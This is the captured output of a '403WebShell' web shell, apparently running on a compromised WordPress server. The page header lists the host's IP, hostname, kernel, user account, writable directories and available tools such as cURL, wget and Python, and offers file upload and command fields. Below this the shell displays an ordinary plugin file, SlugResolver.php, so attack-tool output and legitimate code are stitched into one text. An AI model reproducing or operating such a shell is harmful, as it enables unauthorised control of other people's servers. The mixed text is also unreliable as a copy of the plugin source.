$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.217.123
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/www/wp-content/plugins/hellopack-client/includes/Update/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/www/wp-content/plugins/hellopack-client/includes/Update/SlugResolver.php
<?php
/**
 * Resolve a plugin or theme by slug or numeric ID against the purchased cache.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Update;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Looks up a purchased item from the HelloPack catalog by slug or numeric ID,
 * and resolves the actual installed `plugin_file` / `stylesheet` when needed.
 *
 * The slug is the primary key for callers (REST clients, CLI, AI agents); the
 * numeric ID is accepted as a fallback. This mirrors the prior inline lookup
 * in `Cli\PluginCommand::find_plugin()` / `Cli\ThemeCommand::find_theme()`,
 * but lives in one place so the install / update / delete entry points stay
 * consistent.
 */
class SlugResolver {

	/**
	 * Items cache.
	 *
	 * @var ItemsCache
	 */
	private ItemsCache $cache;

	/**
	 * Constructor.
	 *
	 * @param ItemsCache $cache Items cache.
	 */
	public function __construct( ItemsCache $cache ) {
		$this->cache = $cache;
	}

	/**
	 * Resolve a purchased plugin by slug or numeric ID.
	 *
	 * @param string $identifier Plugin slug or numeric ID.
	 * @param bool   $force      Force-refresh the underlying cache first.
	 * @return array<string, mixed>|null
	 */
	public function resolve_plugin( string $identifier, bool $force = false ): ?array {
		$grouped = $this->cache->get_plugins( $force );
		return $this->find_in_purchased( $identifier, $grouped['purchased'] ?? array() );
	}

	/**
	 * Resolve a purchased theme by slug or numeric ID.
	 *
	 * @param string $identifier Theme slug or numeric ID.
	 * @param bool   $force      Force-refresh the underlying cache first.
	 * @return array<string, mixed>|null
	 */
	public function resolve_theme( string $identifier, bool $force = false ): ?array {
		$grouped = $this->cache->get_themes( $force );
		return $this->find_in_purchased( $identifier, $grouped['purchased'] ?? array() );
	}

	/**
	 * Find the installed `plugin_file` (e.g. `acme-pro/acme-pro.php`) for a
	 * given slug, by scanning the active and installed groups of the plugin
	 * cache.
	 *
	 * @param string $slug Plugin slug.
	 * @return string|null
	 */
	public function find_installed_plugin_file( string $slug ): ?string {
		$grouped = $this->cache->get_plugins();

		foreach ( array( 'active', 'installed' ) as $group ) {
			foreach ( $grouped[ $group ] ?? array() as $file => $item ) {
				$item_slug = $item['slug'] ?? sanitize_title( (string) ( $item['name'] ?? '' ) );
				if ( $item_slug === $slug ) {
					return (string) $file;
				}
			}
		}

		return null;
	}

	/**
	 * Find the installed `stylesheet` (e.g. `acme-theme`) for a given theme
	 * slug, by scanning the active and installed groups of the theme cache.
	 *
	 * @param string $slug Theme slug.
	 * @return string|null
	 */
	public function find_installed_theme_stylesheet( string $slug ): ?string {
		$grouped = $this->cache->get_themes();

		foreach ( array( 'active', 'installed' ) as $group ) {
			foreach ( $grouped[ $group ] ?? array() as $stylesheet => $item ) {
				$item_slug = $item['slug'] ?? sanitize_title( (string) ( $item['name'] ?? '' ) );
				if ( $item_slug === $slug ) {
					return (string) $stylesheet;
				}
			}
		}

		return null;
	}

	/**
	 * Match a single identifier (slug or numeric ID) against a purchased list.
	 *
	 * @param string                           $identifier Slug or numeric ID.
	 * @param array<int, array<string, mixed>> $purchased  Purchased items.
	 * @return array<string, mixed>|null
	 */
	private function find_in_purchased( string $identifier, array $purchased ): ?array {
		if ( empty( $purchased ) ) {
			return null;
		}

		$is_numeric = ctype_digit( $identifier );

		foreach ( $purchased as $item ) {
			if ( $is_numeric && isset( $item['id'] ) && (string) $item['id'] === $identifier ) {
				return $item;
			}

			if ( $is_numeric ) {
				continue;
			}

			$slug = $item['slug'] ?? sanitize_title( (string) ( $item['name'] ?? '' ) );
			if ( $slug === $identifier ) {
				return $item;
			}
		}

		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit